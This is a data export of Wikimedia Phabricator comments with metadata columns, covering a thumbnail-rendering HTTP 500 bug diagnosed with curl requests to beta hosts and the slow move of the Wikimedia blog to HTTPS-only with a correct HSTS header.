+498289,ThumbnailRender job spam due to HTTP 500s,"@fgiunchedi I remember that we ""fixed"" the 500/400 response for thumbs in T88412 and as seen above, the PHP returns the correct header at the moment. However I really can't figure out why Varnish turns that 400 into a 500. Any ideas?",,,1438099865,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0
+498269,ThumbnailRender job spam due to HTTP 500s,"On beta I see the 400 translated in a 500 by Varnish, but I can't pinpoint in the Varnish config where this is happening:
+
+
+```
+curl -i ""http://commons.wikimedia.beta.wmflabs.org/w/thumb.php?f=Carl_Simon.jpg&width=793454""
+```
+
+Gives a 400, as expected. While the following gives a 500:
+
+
+```
+curl -H ""Host: upload.beta.wmflabs.org"" -i http://deployment-cache-upload02.eqiad.wmflabs/wikipedia/commons/thumb/3/3f/Carl_Simon.jpg/793454px-Carl_Simon.jpg
+```
+
+",,,1438098260,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+498265,ThumbnailRender job spam due to HTTP 500s,"On beta I see the 400 translated in a 500 by Varnish, but I can't pinpoint in the Varnish config where this is happening:
+
+
+```
+curl -H ""Host: commons.wikimedia.beta.wmflabs.org"" -i ""http://10.68.16.16/w/thumb.php?f=Carl_Simon.jpg&width=793454""
+```
+
+Gives a 400, as expected. While the following gives a 500:
+
+
+```
+curl -H ""Host: upload.beta.wmflabs.org"" -i http://deployment-cache-upload02.eqiad.wmflabs/wikipedia/commons/thumb/3/3f/Carl_Simon.jpg/793454px-Carl_Simon.jpg
+```
+
+",,,1438098141,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+498253,ThumbnailRender job spam due to HTTP 500s,"Change 227456 had a related patch set uploaded (by Gilles):
+Don't retry invalid thumbnail requests due to impossible width
+
+[[https://gerrit.wikimedia.org/r/227456]]
+",,,1438096888,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+498238,ThumbnailRender job spam due to HTTP 500s,"Change 227453 had a related patch set uploaded (by Gilles):
+Gather more information about pre rendering 500s
+
+[[https://gerrit.wikimedia.org/r/227453]]
+",,,1438095447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,False,,,3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1
+498229,ThumbnailRender job spam due to HTTP 500s,"Hah, just figured out what these files have in common. An uppercase .JPG in their page name.
+
+What's happening isn't a huge deal, though, it just means that thumbnail pre-rendering at upload time wasn't working for those files.",,,1438094898,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+498223,ThumbnailRender job spam due to HTTP 500s,"Hah, just figured out what these files have in common. A .JPG in their page name.
+
+What's happening isn't a huge deal, though, it just means that thumbnail pre-rendering at upload time wasn't working for those files.",,,1438094619,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-ibnfma3crgj5trb22g56,task_subcomment,,True,c3,3,True,,,3,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+106688,Add support for login and create account by hovering over login button,Hi @Ashley could you add support for loging by hovering over the login button like you can http://social-tools.wmflabs.org/wiki/Main_Page?useskin=bluesky here. That skin looks really nice. It should be the default on Wikimedia. But I would like to allow users to hover over the login button and login. Same goes for create account there should be a button that loads up the create form without having to leave page.,Medium,50.0,1437662784,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,False,PHID-TASK-mbs7qdokcz7xn5upzj24,task_description,open,True,c3,3,True,False,,3,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0
+105905,Switch blog to HTTPS-only,"Now that we've [[ https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ | switched production to HTTPS-only ]], it would be great if our blog followed suit.
+
+Initially it made sense to keep the blog on HTTP, so that the message could get through even to users that were having issues with HTTPS; however, now sufficient time has passed and we should actually move this forward.
+
+The blog already works fine over HTTPS, with a certificate of our own.
+
+Switching to HTTPS-only involves asking Automattic (our blog hoster) to do the following:
+[x] Make sure embedded resources to http:// URLs within the page are https (I don't currently see any, but someone should double-check)
+[x] Switch <link rel=canonical> to HTTPS; right now it's forced to http://, which means that search engines always point to our blog over HTTP. Same but less important for <link rel=shortlink>.
+[x] Permanently redirect (301) all URLs (/.*) to their HTTPS equivalent.
+[x] Set Strict-Transport-Security header to `max-age=31536000; includeSubDomains; preload`",Medium,50.0,1436978220,1485443018.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_description,resolved,True,c3,3,True,False,False,1,True,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+798286,Switch blog to HTTPS-only,"Confirmed correct current operation:
+1) All HTTP access seems to redirect to HTTPS
+2) All HTTPS requests send response header: `strict-transport-security: max-age=31536000; includeSubDomains; preload`
+
+Thanks for chasing this down!",,,1485443018,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,82,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+797691,Switch blog to HTTPS-only,@BBlack Automattic has done this. Can someone check and make sure it's been set correctly before we close the ticket?,,,1485377205,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,81,True,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0
+780774,Switch blog to HTTPS-only,@EdErhart-WMF - Any update on setting the appropriate Strict-Transport-Security header on this service?,,,1482164842,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,76,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0
+757437,Switch blog to HTTPS-only,@BBlack we're working on it now as part of a larger effort to tweak the blog's theme.,,,1478567409,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,70,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,1,0,0
+752835,Switch blog to HTTPS-only,@EdErhart-WMF are you the person now working on this?  Can we get a status update fixing the remaining issue (correct HSTS header)?,,,1477946298,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0
+733800,Switch blog to HTTPS-only,">>! In T105905#2463813, @Tbayer wrote:
+>>>! In T105905#2463476, @faidon wrote:
+ 
+>> After my mail ysterday, Jeff Elder contacted me for clarifications (which I gave). 
+> I would have appreciated some coordination on this, which would also have helped the misunderstandings that apparently occurred with the support person today, and prevented the premature switchover at a point where nobody has worked yet on updating the canonical links (see below).
+> 
+>> I'm not sure what he did yet, but blog.wikimedia.org seems to redirect to HTTPS today and even sending an STS header. I don't see a rel=canonical in that HTML, so I guess there isn't anything more to be done.
+> https://blog.wikimedia.org doesn't have a rel=canonical, but individual posts do. (If you read the updates on the Automattic support ticket from recent months, you will see a discussion about this difference.) And unfortunately the latter still points to the HTTP version - e.g. in https://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/ it's `<link rel=""canonical"" href=""http://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/"" />`. Same for the shortlinks.
+
+For the record, the fix for the canonical URLs was deployed on July 27, so the blog was in the misconfigured state for about 13 days. I didn't check if there was an adverse SEO effect; in any case it should hopefully have recovered by now. (Also in July, @EdErhart-WMF and I met for an introduction to the blog's technical setup regarding Automattic, and hand over more of its technical management, now that there is a permanent person on the Comms team who can take this on. I'm going to unassign myself from this bug, as I understand he is going to shepherd the last remaining subtask.) ",,,1474645956,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,64,True,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+733704,Switch blog to HTTPS-only,">>! In T105905#2525620, @BBlack wrote:
+> The blog is still sending the response header: `strict-transport-security: max-age=86400`.  It should be `strict-transport-security: max-age=31536000; includeSubDomains; preload`
+
+@EdErhart-WMF: Do you plan to contact Automattic about changing this?",,,1474638819,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,64,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+706492,Switch blog to HTTPS-only,">>! In T105905#2525418, @EdErhart-WMF wrote:
+> @BBlack can you recheck this? Automattic shipped a few changes for us today. 
+
+The blog is still sending the response header: `strict-transport-security: max-age=86400`.  It should be `strict-transport-security: max-age=31536000; includeSubDomains; preload`",,,1470363073,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,57,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,1,0,0,1
+706487,Switch blog to HTTPS-only,@BBlack can you recheck this? Automattic shipped a few changes for us today. ,,,1470361471,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,57,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0
+706482,Switch blog to HTTPS-only,@BBlack can you recheck this? Automattic just shipped a few changes for us today. ,,,1470359061,,PHID-USER-tafu2uuupsf2oupzja23,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,57,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0
+701559,Switch blog to HTTPS-only,To re-iterate current status: the main thing missing here in the present is that the STS header is insufficient.  It should be `strict-transport-security:max-age=31536000; includeSubDomains; preload`,,,1469646951,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,55,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+694779,Switch blog to HTTPS-only,">>! In T105905#2463476, @faidon wrote:
+> @Tbayer, I still do. In fact I've been receiving these ticket (or series of tickets?) updates since Jul 24th 2015. 
+OK, from your email summary it wasn't clear if you had received (or read) the most recent updates. In particular, while I generally agree with your critical opinion about the support quality in this ticket, it should be said that the difficult part (the content replacements, first bullet point in the task) had in fact been completed at this point, even though, granted, it had involved much prodding and some false starts. 
+> They supposedly support HTTPS-by-default since April (see https://en.blog.wordpress.com/2016/04/08/https-everywhere-encryption-for-all-wordpress-com-sites/ and https://en.support.wordpress.com/https/) so it might just be a click of a button these days.
+Yes, we already discussed that announcement above, and indeed the hope has been that we can now profit from this general process. That said, the redirect plugin question remains relevant for some other purposes.
+> 
+> After my mail ysterday, Jeff Elder contacted me for clarifications (which I gave). 
+I would have appreciated some coordination on this, which would also have helped the misunderstandings that apparently occurred with the support person today, and prevented the premature switchover at a point where nobody has worked yet on updating the canonical links (see below).
+
+> I'm not sure what he did yet, but blog.wikimedia.org seems to redirect to HTTPS today and even sending an STS header. I don't see a rel=canonical in that HTML, so I guess there isn't anything more to be done.
+https://blog.wikimedia.org doesn't have a rel=canonical, but individual posts do. (If you read the updates on the Automattic support ticket from recent months, you will see a discussion about this difference.) And unfortunately the latter still points to the HTTP version - e.g. in https://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/ it's `<link rel=""canonical"" href=""http://blog.wikimedia.org/2016/07/14/pokemon-go-wikipedia/"" />`. Same for the shortlinks.
+
+",,,1468526127,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+694738,Switch blog to HTTPS-only,"Nice! The redirect functionality looks correct.  However, the STS header is `strict-transport-security:max-age=31536000`, whereas it should be `strict-transport-security:max-age=31536000; includeSubDomains; preload`.  This isn't mentioned in the ticket description here because this ticket predates all of our later HSTS work. 
+
+We also haven't made lack of proper STS on these minority one-off sites a blocker for anything yet because they're generally going to be protected by our wikimedia.org STS preload entry in modern browsers anyways.
+
+However, the rules on that are evolving: https://hstspreload.appspot.com/ now says that domains preloaded after their Feb 16, 2016 cutoff (and wikimedia.org didn't make that cutoff, although most of our other domains did) are subject to possible future removal from the STS-preload list if Chrome browsers detect a lack of preloadable headers in the wild.  We're not sure exactly how this will work (e.g. if a one-off hostname in wikimedia.org's lack of headers can trigger removal of all of wikimedia.org), and it hasn't happened to any site (anywhere) yet, but this underscores the importance of getting all of our sites aligned on this issue in the long run.  I'll probably end up making a separate ticket about STS-preload cleanup once we get over other more-fundamental hurdles, but cleaning this case up now while someone's actively looking into it might be a good idea :)",,,1468523621,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+694721,Switch blog to HTTPS-only,"@Tbayer, I still do. In fact I've been receiving these ticket (or series of tickets?) updates since Jul 24th 2015. They supposedly support HTTPS-by-default since April (see https://en.blog.wordpress.com/2016/04/08/https-everywhere-encryption-for-all-wordpress-com-sites/ and https://en.support.wordpress.com/https/) so it might just be a click of a button these days.
+
+After my mail ysterday, Jeff Elder contacted me for clarifications (which I gave). I'm not sure what he did yet, but blog.wikimedia.org seems to redirect to HTTPS today and even sending an STS header. I don't see a rel=canonical in that HTML, so I guess there isn't anything more to be done.
+
+I'll wait until a response before I resolve this ticket (besides, I also raised the tangential issue of switching to Let's Encrypt with him, so might be good to get an update on that).",,,1468522841,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,0,0,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0
+694705,Switch blog to HTTPS-only,"Update (@faidon: I'm still unsure if you are receiving the updates from the internal ticket with Automattic):
+
+On April 21, I had asked Automattic's support about their suggestions for implementing the HTTP -> HTTPS redirect. (Looking at at https://vip.wordpress.com/documentation/setting-up-redirects/ , the ""Safe Redirect Manager"" plugin looks attractive, also because it might be possible to use it for fixing some legacy URLs. But it's not clear to me if it supports the wildcard HTTP -> HTTPS redirects we need here.) 
+I received a reply on April 26 saying that they would look into this question, but no response on this issue since then. I just followed up on the support ticket.
+
+Obviously I agree that this kind of response time is not satisfactory. I should have followed up earlier, but having already had to sink way more time into this project that anticipated last year though, I have been limiting the amount of effort I've put myself into shepherding this - it's no longer my main work area. 
+
+Ops, thanks for nudging this. If it this blocking anything on your side regarding HTTPS on our domains in general, I would suggest attaching a blocking/parent task.",,,1468522378,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,54,True,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+692759,Switch blog to HTTPS-only,"We (@Tbayer mostly) have asked for this repeatedly, to no avail. There was a thread with comms that hasn't seen any activity lately, I'll ping again…",,,1468327996,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0
+692014,Switch blog to HTTPS-only,"If there's no real cost to do so, it would be ideal to ask them to switch our VIP for blog.wm.o to HTTPS-by-default and LetsEncrypt (as the latter will save us some maintenance burden and cost).",,,1468253490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,53,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+643393,Switch blog to HTTPS-only,">>! In T105905#2191112, @jrbs wrote:
+> [Wordpress is now using HTTPS as default for blogs making use of their backend.](http://thenextweb.com/insider/2016/04/08/wordpress-rolls-encrypted-https-standard/) I'm not sure how (if it all) this impacts on this task, but worth pointing out.
+
+Yes, that's indeed interesting news. There was also a parallel [[http://lobby.vip.wordpress.com/2016/04/08/https-support-for-vip-sites/| announcement]] in the internal ""WordPress.com VIP Lobby"" blog (let me know in case it hasn't reached you and you're interested in reading it) saying that VIP sites are not included in this rollout, but offering support to convert a VIP site on request. As the TheNextWeb article states, their standard setup uses certificates from Let's Encrypt whereas we have long ago decided to purchase our own, but that case is apparently supported too.
+
+To be clear, this does not touch the work we have completed so far (making the content future-proof against mixed content warnings by replacing HTTP embeded content with HTTPS), but should make the next steps (about which I have just followed up again with Automattic) easier.",,,1460375597,,PHID-USER-wlku5ja6envbi4cz2etp,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,True,,,40,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1
+642742,Switch blog to HTTPS-only,"[Wordpress is now using HTTPS as default for blogs making use of their backend.](http://thenextweb.com/insider/2016/04/08/wordpress-rolls-encrypted-https-standard/) I'm not sure how (if it all) this impacts on this task, but worth pointing out.",,,1460134964,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-26r4lmtpg5aj3enjzmsc,task_subcomment,,True,c3,3,False,,,40,True,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+636124,Switch blog to HTTPS-only,"Update: After some more detours, all posts that embedded HTTP content should now have been converted to HTTPS. In the end Automattic ran two conversion scripts for us, see log below. Checking about 10 random posts from each list, they all look good. In addition, I have now manually fixed the five posts found earlier with the ""mixed content scan"" tool.
+
+I've followed up with Automattic to see about the completion of the remaining steps from the task description.
+
+```lines=5
+Found 303 posts to update on http://blog.wikimedia.org
+str_replace( 'http://upload.wikimedia.org/', 'https://upload.wikimedia.org/' ); will be run against post_content rows.
+0: Post #25 was modified in 1 place(s)
+1: Post #26 was modified in 1 place(s)
+2: Post #27 was modified in 1 place(s)
+3: Post #28 was modified in 1 place(s)
+4: Post #29 was modified in 1 place(s)
+5: Post #33 was modified in 8 place(s)
+6: Post #36 was modified in 1 place(s)
+7: Post #39 was modified in 1 place(s)
+8: Post #40 was modified in 1 place(s)
+9: Post #49 was modified in 1 place(s)
+10: Post #52 was modified in 1 place(s)
+11: Post #53 was modified in 1 place(s)
+12: Post #55 was modified in 1 place(s)
+13: Post #56 was modified in 1 place(s)
+14: Post #57 was modified in 1 place(s)
+15: Post #61 was modified in 1 place(s)
+16: Post #63 was modified in 1 place(s)
+17: Post #65 was modified in 2 place(s)
+18: Post #68 was modified in 2 place(s)
+19: Post #138 was modified in 1 place(s)
+20: Post #161 was modified in 1 place(s)
+21: Post #165 was modified in 1 place(s)
+22: Post #168 was modified in 1 place(s)
+23: Post #181 was modified in 1 place(s)
+24: Post #186 was modified in 1 place(s)
+25: Post #199 was modified in 1 place(s)
+26: Post #205 was modified in 1 place(s)
+27: Post #212 was modified in 1 place(s)
+28: Post #225 was modified in 2 place(s)
+29: Post #240 was modified in 1 place(s)
+30: Post #280 was modified in 1 place(s)
+31: Post #290 was modified in 1 place(s)
+32: Post #318 was modified in 1 place(s)
+33: Post #347 was modified in 1 place(s)
+34: Post #468 was modified in 2 place(s)
+35: Post #493 was modified in 3 place(s)
+36: Post #504 was modified in 2 place(s)
+37: Post #544 was modified in 1 place(s)
+38: Post #554 was modified in 1 place(s)
+39: Post #3711 was modified in 1 place(s)
+40: Post #3712 was modified in 1 place(s)
+41: Post #3713 was modified in 1 place(s)
+42: Post #3714 was modified in 1 place(s)
+43: Post #3715 was modified in 1 place(s)
+44: Post #3717 was modified in 1 place(s)
+45: Post #592 was modified in 1 place(s)
+46: Post #602 was modified in 1 place(s)
+47: Post #638 was modified in 1 place(s)
+48: Post #663 was modified in 1 place(s)
+49: Post #766 was modified in 2 place(s)
+50: Post #3721 was modified in 2 place(s)
+51: Post #3723 was modified in 1 place(s)
+52: Post #3726 was modified in 1 place(s)
+53: Post #799 was modified in 1 place(s)
+54: Post #890 was modified in 1 place(s)
